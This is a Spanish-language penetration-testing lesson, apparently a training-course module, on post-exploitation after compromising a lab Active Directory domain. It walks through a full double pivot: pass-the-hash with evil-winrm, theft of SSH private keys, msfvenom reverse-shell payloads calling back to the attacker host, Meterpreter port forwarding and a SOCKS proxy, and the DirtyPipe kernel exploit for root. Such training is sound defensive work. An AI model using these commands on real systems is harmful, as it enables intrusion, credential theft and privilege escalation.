Post-Exploitation
Una vez hemos comprometido el dominio, nuestro trabajo no ha terminado. Hay muchas cosas que podemos hacer para añadir valor adicional a nuestros clientes. Si el objetivo de la evaluación era alcanzar Domain Admin y nada más, entonces hemos terminado y debemos asegurarnos de tener todos nuestros comandos/salidas de registros, datos de escaneo y capturas de pantalla y continuar redactando el informe. Si la evaluación estaba enfocada en un objetivo (es decir, gain access to a specific database), debemos continuar trabajando hacia ese objetivo. Los derechos de Domain Admin pueden ser solo el comienzo, ya que podría haber otras redes, domains, o forests en juego a los que necesitaremos encontrar nuestro camino. Si la evaluación es más abierta y el cliente nos pidió que demostremos tanto impacto como sea posible, hay bastantes cosas que podemos hacer para agregar valor y ayudarles a mejorar su postura de seguridad.
Domain Password Analysis - Cracking NTDS
Después de haber volcado la base de datos NTDS, podemos realizar un cracking de contraseñas offline con Hashcat. Una vez que hayamos agotado todas las reglas y listas de palabras posibles en nuestro equipo de cracking, deberíamos usar una herramienta como DPAT para realizar un análisis de contraseñas del domain. Esto puede complementar muy bien hallazgos como Weak Active Directory Passwords Allowed
, que anotamos después de un ataque de password spraying exitoso. Este análisis puede ayudar a resaltar el punto y puede ser una visualización poderosa. Nuestro análisis puede incluirse en los apéndices del informe con métricas tales como:
- Número de hashes de contraseña obtenidos
- Número de hashes de contraseña descifrados
- Porcentaje de hashes de contraseña descifrados
- Top 10 contraseñas
- Desglose de longitud de contraseña
- Número de contraseñas de Domain Admin descifradas
- Número de contraseñas de Enterprise Admin descifradas
Active Directory Security Audit
Como se discutió en el módulo Active Directory Enumeration & Attacks
, podemos proporcionar un valor adicional a nuestros clientes profundizando en Active Directory y encontrando recomendaciones de mejores prácticas y entregándolas en los apéndices de nuestro informe. La herramienta PingCastle es excelente para auditar la postura de seguridad general del domain, y podemos extraer muchos elementos diferentes del informe que genera para dar a nuestro cliente recomendaciones sobre formas adicionales en que pueden fortalecer su AD environment. Este tipo de trabajo "por encima y más allá del deber" puede generar buena voluntad con nuestros clientes y conducir a tanto negocios repetidos como referencias. Es una gran manera de diferenciarnos y demostrar los riesgos que afectan a los AD environments y mostrar nuestra comprensión profunda de la red del cliente.
Hunting for Sensitive Data/Hosts
Una vez que hayamos ganado acceso al Domain Controller, probablemente podamos acceder a la mayoría de los recursos en el domain. Si queremos demostrar el impacto para nuestros clientes, un buen punto de partida es volver a los file shares para ver qué otros tipos de datos podemos ver ahora. Como se discutió en el módulo Documentation & Reporting
, debemos asegurarnos de solo tomar capturas de pantalla mostrando una lista de archivos si encontramos un file share particularmente sensible, y no abrir archivos individuales ni tomar capturas de pantalla o eliminar archivos de la red.
proxychains evil-winrm -i 172.16.8.3 -u administrator -H fd1f7e556xxxxxxxxxxxddbb6e6afa2
ProxyChains-3.1 (http://proxychains.sf.net)
<SNIP>
Evil-WinRM* PS C:\Users\Administrator\desktop> cd c:\
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
*Evil-WinRM* PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/1/2022 11:34 AM Department Shares
d----- 9/15/2018 12:12 AM PerfLogs
d-r--- 12/14/2020 6:43 PM Program Files
d----- 9/15/2018 12:21 AM Program Files (x86)
d-r--- 6/1/2022 11:07 AM Users
d----- 6/1/2022 11:10 AM Windows
Regresemos al share Department Shares
y veamos qué más podemos encontrar.
*Evil-WinRM* PS C:\Department Shares> dir
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
Directory: C:\Department Shares
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/1/2022 11:34 AM Accounting
d----- 6/1/2022 11:34 AM Executives
d----- 6/1/2022 11:34 AM Finance
d----- 6/1/2022 11:33 AM HR
d----- 6/1/2022 11:33 AM IT
d----- 6/1/2022 11:33 AM Marketing
d----- 6/1/2022 11:33 AM R&D
Dependiendo de la industria y el negocio del cliente, hay varias cosas a las que podemos apuntar para demostrar impacto. Los datos de HR como salarios y bonificaciones deberían estar bien protegidos, la información de I+D podría potencialmente dañar a una empresa si se filtra, por lo que deberían tener controles adicionales en su lugar. Puede ser una buena práctica no permitir que los Domain Admins tengan acceso total a todos los datos, porque si una cuenta es comprometida, entonces todo estará comprometido. Algunas empresas tendrán un sitio separado o un file share no unido al domain o un servidor de respaldo para alojar datos sensibles. En nuestro caso, Inlanefreight nos ha pedido que probemos si podemos ganar acceso a cualquier host en la subred 172.16.9.0/23
. Esta es su red de gestión y alberga servidores sensibles que no deberían ser accesibles directamente desde hosts en el domain principal y ganar derechos de Domain Admin no debería conducir a un acceso inmediato.
Dentro del share de IT privado, podemos ver dos subdirectorios: Development
y Networking
. El subdirectorio Development alberga el script de respaldo que obtuvimos anteriormente. Echemos un vistazo en el subdirectorio Networking.
*Evil-WinRM* PS C:\Department Shares\IT\Private> ls
Directory: C:\Department Shares\IT\Private
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/1/2022 11:34 AM Development
d----- 6/1/2022 11:34 AM Networking
Podemos ver claves privadas de SSH para tres usuarios diferentes. Esto es interesante.
¿Podemos aprovechar cualquiera de estos usuarios para acceder a un host en la red protegida?
Mirando los adaptadores de red en los Domain Controllers, podemos ver que tiene una segunda NIC en la red 172.16.9.0.
*Evil-WinRM* PS C:\Department Shares\IT\Private\Networking> ipconfig /all
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
Windows IP Configuration
Host Name . . . . . . . . . . . . : DC01
Primary Dns Suffix . . . . . . . : INLANEFREIGHT.LOCAL
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : INLANEFREIGHT.LOCAL
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-B9-16-51
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::8c6e:6173:2179:e0a5%4(Preferred)
IPv4 Address. . . . . . . . . . . : 172.16.8.3(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 172.16.8.1
DHCPv6 IAID . . . . . . . . . . . : 100683862
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2A-29-62-C9-00-50-56-B9-16-51
DNS Servers . . . . . . . . . . . : ::1
127.0.0.1
NetBIOS over Tcpip. . . . . . . . : Enabled
Ethernet adapter Ethernet1:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter #2
Physical Address. . . . . . . . . : 00-50-56-B9-3A-88
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::ad24:d126:19f:f31d%7(Preferred)
IPv4 Address. . . . . . . . . . . : 172.16.9.3(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 172.16.9.1
DHCPv6 IAID . . . . . . . . . . . : 167792726
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2A-29-62-C9-00-50-56-B9-16-51
DNS Servers . . . . . . . . . . . : ::1
127.0.0.1
NetBIOS over Tcpip. . . . . . . . : Enabled
Escribir arp -a
para ver la tabla arp no produce nada interesante. Podemos usar PowerShell para realizar un barrido ping e intentar identificar hosts en vivo.
*Evil-WinRM* PS C:\Department Shares\IT\Private\Networking> 1..100 | % {"172.16.9.$($_): $(Test-Connection -count 1 -comp 172.16.9.$($_) -quiet)"}
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
172.16.9.1: False
172.16.9.2: False
172.16.9.3: True
172.16.9.4: False
<SNIP>
172.16.9.24: False
172.16.9.25: True
172.16.9.26: False
172.16.9.27: False
<SNIP>
Podemos ver un host en vivo, 172.16.9.25
, que tal vez una de las claves privadas SSH funcionará. Vamos a trabajar. Primero descargamos las claves SSH a través de nuestra conexión evil-winrm
al Domain Controller.
Evil-WinRM* PS C:\Department Shares\IT\Private\Networking> download "C:\Department Shares\IT\Private\Networking\ssmallsadm-id_rsa" /tmp/ssmallsadm-id_rsa
Info: Downloading C:\Department Shares\IT\Private\Networking\ssmallsadm-id_rsa to /tmp/ssmallsadm-id_rsa
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
Info: Download successful!
*Evil-WinRM* PS C:\Department Shares\IT\Private\Networking>
The Double Pivot - MGMT01
Ahora hay algunas formas de hacer esta siguiente parte, tomaremos la ruta larga para poder finalmente hacer SSH directamente al host 172.16.9.25
desde nuestro host de ataque, realizando un doble pivote un tanto alucinante en el proceso. Esto es lo que estamos tratando de lograr, comenzando desde nuestro host de ataque y pivotando a través de los hosts dmz01 y DC01 para poder hacer SSH directamente en el host MGMT01 a dos saltos de distancia directamente desde nuestro host de ataque.
Attack host
--> dmz01
--> DC01
--> MGMT01
Necesitaremos establecer una reverse shell desde la caja dmz01
de regreso a nuestro host de ataque. Podemos hacer esto de la misma manera que hicimos en la sección Internal Information Gathering
, creando un payload ELF, subiéndolo al objetivo y ejecutándolo para capturar una shell. Comience creando el payload ELF y subiéndolo de nuevo al host dmz01
a través de SCP si lo eliminó.
A continuación, configure el Metasploit exploit/multi/handler.
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost 10.10.14.15
lhost => 10.10.14.15
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 443
LPORT => 443
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> exploit
[*] Started reverse TCP handler on 10.10.14.15:443
Nuevamente, ejecute el archivo shell.elf
en el sistema objetivo:
root@dmz01:/tmp# chmod +x shell.elf
root@dmz01:/tmp# ./shell.elf
Capture la Meterpreter shell usando el multi/handler.
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> exploit
[*] Started reverse TCP handler on 10.10.14.15:443
[*] Sending stage (989032 bytes) to 10.129.203.111
[*] Meterpreter session 1 opened (10.10.14.15:443 -> 10.129.203.111:58462 ) at 2022-06-21 21:28:43 -0400
(Meterpreter 1)(/tmp) > getuid
Server username: root
Luego, configure una regla de reenvío de puerto local para reenviar todo el tráfico destinado al puerto 1234
en dmz01
al puerto 8443
en nuestro host de ataque.
(Meterpreter 1)(/root) > portfwd add -R -l 8443 -p 1234 -L 10.10.14.15
[*] Reverse TCP relay created: (remote) :1234 -> (local) [::]:1234
A continuación, cree un payload ejecutable que subiremos al host Domain Controller.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.8.120 -f exe -o dc_shell.exe LPORT=1234
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: dc_shell.exe
Suba el payload al DC.
*Evil-WinRM* PS C:\> upload "/home/tester/dc_shell.exe"
Info: Uploading /home/tester/dc_shell.exe to C:\\dc_shell.exe
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!
Deje en segundo plano la sesión Meterpreter.
(Meterpreter 1)(/root) > bg
[*] Backgrounding session 1...
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) >>
Inicie otro multi/handler en la misma sesión de msfconsole para capturar la shell desde el DC.
[msf](Jobs:0 Agents:1) exploit(multi/handler) >> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:1) exploit(multi/handler) >> set lhost 0.0.0.0
lhost => 0.0.0.0
[msf](Jobs:0 Agents:1) exploit(multi/handler) >> set lport 8443
lport => 8443
[msf](Jobs:0 Agents:1) exploit(multi/handler) >> exploit
Ejecute el payload en el DC y, si todo va según lo planeado, lo capturaremos en nuestro handler.
*Evil-WinRM* PS C:\Users\Administrator\Documents> .\dc_shell.exe
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.8.3:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.8.3:5985-<><>-OK
Verificando nuestro handler y vemos la conexión entrante. Parece venir de 0.0.0.0 porque nuestra regla de reenvío de puerto establecida anteriormente ha especificado que todo el tráfico destinado a nuestro host en el puerto 1234 debe ser dirigido a (nuestro listener) en el puerto 8443.
[msf](Jobs:0 Agents:1) exploit(multi/handler) >> exploit
[*] Started reverse TCP handler on 0.0.0.0:8443
[*] Sending stage (200262 bytes) to 10.10.14.15
[*] Meterpreter session 2 opened (10.10.14.15:8443 -> 10.10.14.15:46313 ) at 2022-06-22 21:36:20 -0400
(Meterpreter 2)(C:\) > getuid
Server username: INLANEFREIGHT\Administrator
(Meterpreter 2)(C:\) > sysinfo
Computer : DC01
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : INLANEFREIGHT
Logged On Users : 3
Meterpreter : x64/windows
Para nuestro próximo truco, configuraremos una ruta a la subred 172.16.9.0/23
.
(Meterpreter 2)(C:\) > run autoroute -s 172.16.9.0/23
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.9.0/255.255.254.0...
[+] Added route to 172.16.9.0/255.255.254.0 via 10.10.14.15
[*] Use the -p option to list all active routes
Podemos confirmar esto verificando la tabla de enrutamiento de MSF.
(Meterpreter 2)(C:\) > background
[*] Backgrounding session 2...
[msf](Jobs:0 Agents:2) exploit(multi/handler) >> route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
172.16.9.0 255.255.254.0 Session 2
Ahora necesitamos configurar un socks proxy, que es el paso final antes de que podamos comunicarnos directamente con la red 172.16.9.0/23
desde nuestro host de ataque.
[msf](Jobs:0 Agents:2) exploit(multi/handler) >> use auxiliary/server/socks_proxy
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> show options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 1080 yes The port to listen on
USERNAME no Proxy username for SOCKS5 listener
VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> set srvport 9050
srvport => 9050
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> set version 4a
version => 4a
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> run
[*] Auxiliary module running as background job 0.
[msf](Jobs:1 Agents:2) auxiliary(server/socks_proxy) >>
[*] Starting the SOCKS proxy server
Edite el archivo /etc/proxychains.conf
para usar el puerto 9050
que especificamos anteriormente. Si ya tiene una línea allí desde antes, coméntela o reemplace el número de puerto.
Ahora podemos probar esto ejecutando Nmap contra el objetivo, y confirmamos que podemos escanearlo.
proxychains nmap -sT -p 22 172.16.9.25
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-22 21:42 EDT
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.9.25:80-<--denied
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.9.25:22-<><>-OK
Nmap scan report for 172.16.9.25
Host is up (1.1s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds
Finalmente, podemos probar cada clave SSH con proxychains para intentar conectarnos al host.
Podemos recopilar cada nombre de usuario por el nombre del archivo de la clave SSH. En nuestro caso, la clave para ssmallsadm
funciona (no olvide chmod 600 el archivo o no podremos conectarnos).
proxychains ssh -i ssmallsadm-id_rsa ssmallsadm@172.16.9.25
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.9.25:22-<><>-OK
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.10.0-051000-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 23 Jun 2022 01:48:14 AM UTC
System load: 0.0 Processes: 231
Usage of /: 27.9% of 13.72GB Users logged in: 0
Memory usage: 14% IPv4 address for ens192: 172.16.9.25
Swap usage: 0%
159 updates can be applied immediately.
103 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon May 23 08:48:13 2022 from 172.16.0.1
Como paso final, enumeraremos el sistema objetivo, verificando oportunidades de escalada de privilegios locales. Si podemos obtener acceso de nivel root, habremos cumplido con el objetivo principal del cliente, ya que afirmaron que este servidor contiene sus "joyas de la corona", o datos más importantes. Durante nuestra enumeración, hacemos una búsqueda en Google basada en la versión del Kernel y vemos que probablemente sea vulnerable al DirtyPipe, CVE-2022-0847
. Podemos leer una excelente explicación de esta vulnerabilidad en el Hack The Box blog.
ssmallsadm@MGMT01:~$ uname -a
Linux MGMT01 5.10.0-051000-generic #202012132330 SMP Sun Dec 13 23:33:36 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Usaremos exploit-2 de este repositorio de GitHub. Como tenemos acceso SSH al sistema, podemos crear un archivo con Vim
y pegar el código del exploit. Luego debemos compilarlo, y afortunadamente gcc
está presente en el sistema.
ssmallsadm@MGMT01:~$ gcc dirtypipe.c -o dirtypipe
ssmallsadm@MGMT01:~$ chmod +x dirtypipe
ssmallsadm@MGMT01:~$ ./dirtypipe
Usage: ./dirtypipe SUID
Debemos ejecutar el exploit contra un binario SUID para inyectar y sobrescribir la memoria en un proceso root. Entonces primero necesitamos buscar binarios SUID en el sistema.
ssmallsadm@MGMT01:~$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/fusermount
<SNIP>
Finalmente, ejecutaremos el exploit contra el binario SUID /usr/lib/openssh/ssh-keysign
y caeremos en una shell root.
ssmallsadm@MGMT01:~$ ./dirtypipe /usr/lib/openssh/ssh-keysign
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),1001(ssmallsadm)
Desde aquí, podríamos realizar post-explotación del sistema de archivos para probar el nivel de acceso que hemos logrado.
Data Exfiltration Simulation
Algunos clientes pueden querer probar sus capacidades de Data Loss Prevention
(DLP), por lo que podríamos experimentar con varias formas de exfiltrar datos simulados de su red para ver si somos detectados. Debemos trabajar con el cliente para comprender qué tipos de datos están tratando de proteger y proceder en consecuencia. Es mejor usar datos simulados para no tener que lidiar con datos altamente sensibles del cliente en nuestro sistema de prueba.
Attacking Domain Trusts
Si hay domain trusts, podríamos usar nuestras habilidades para enumerar estas relaciones y explotar una relación de confianza child --> parent, una confianza intra-forest, o una confianza de forest externo. Antes de hacerlo, debemos consultar con el cliente para asegurarnos de que el domain objetivo está dentro del alcance de la prueba. A veces comprometeremos un domain menos importante y podremos usar este acceso para tomar completamente el domain principal. Esto puede proporcionar mucho valor al cliente, ya que pueden haber establecido relaciones de confianza apresuradamente como resultado de una fusión y adquisición o conectarse a otra organización. Su domain puede estar bien reforzado, pero ¿qué pasa si podemos hacer Kerberoasting a través de una confianza de forest, comprometer un forest asociado y luego encontrar una cuenta en el forest asociado que tenga todos los derechos de administrador en nuestro domain actual? En esta situación, podríamos demostrar a nuestro cliente que la principal debilidad no está en el domain que estamos probando, sino en otro, para que puedan proceder en consecuencia.
Closing Thoughts
Esta sección mostró una muestra de las cosas que podemos hacer AFTER
lograr Domain Admin en un entorno del cliente. Llegar, hackear al cliente y mostrar lo rápido que obtuviste DA no sirve de nada para el cliente y no te ayuda a ti ni a tu empresa a retener clientes y difundir una reputación sólida. Lo que hacemos después de lograr Domain Admin es extremadamente importante y aquí es donde podemos diferenciarnos de otros probadores que simplemente ejecutan Responder, algunas otras herramientas y scripts, un escaneo de Nessus, emiten un informe estándar y lo llaman un día. Tu informe entregable debería demostrar el valor de la prueba de penetración por la que tu cliente está pagando y podemos asegurarnos de que estén contentos y regresen en los años siguientes si vamos más allá. Esto no siempre es posible debido a restricciones contractuales y evaluaciones con límite de tiempo, pero incluso si podemos proporcionar un poco más, estamos por delante del grupo. Ten en cuenta que las cosas que identificamos en nuestro informe pueden afectar la financiación de un cliente para el año siguiente y esa financiación probablemente incluye pruebas de penetración. No queremos inflar el informe con hallazgos sin sentido, por supuesto, pero a menudo podemos identificar muchas cosas que nuestro cliente nunca había considerado y ellos y tú estarán mejor por ello.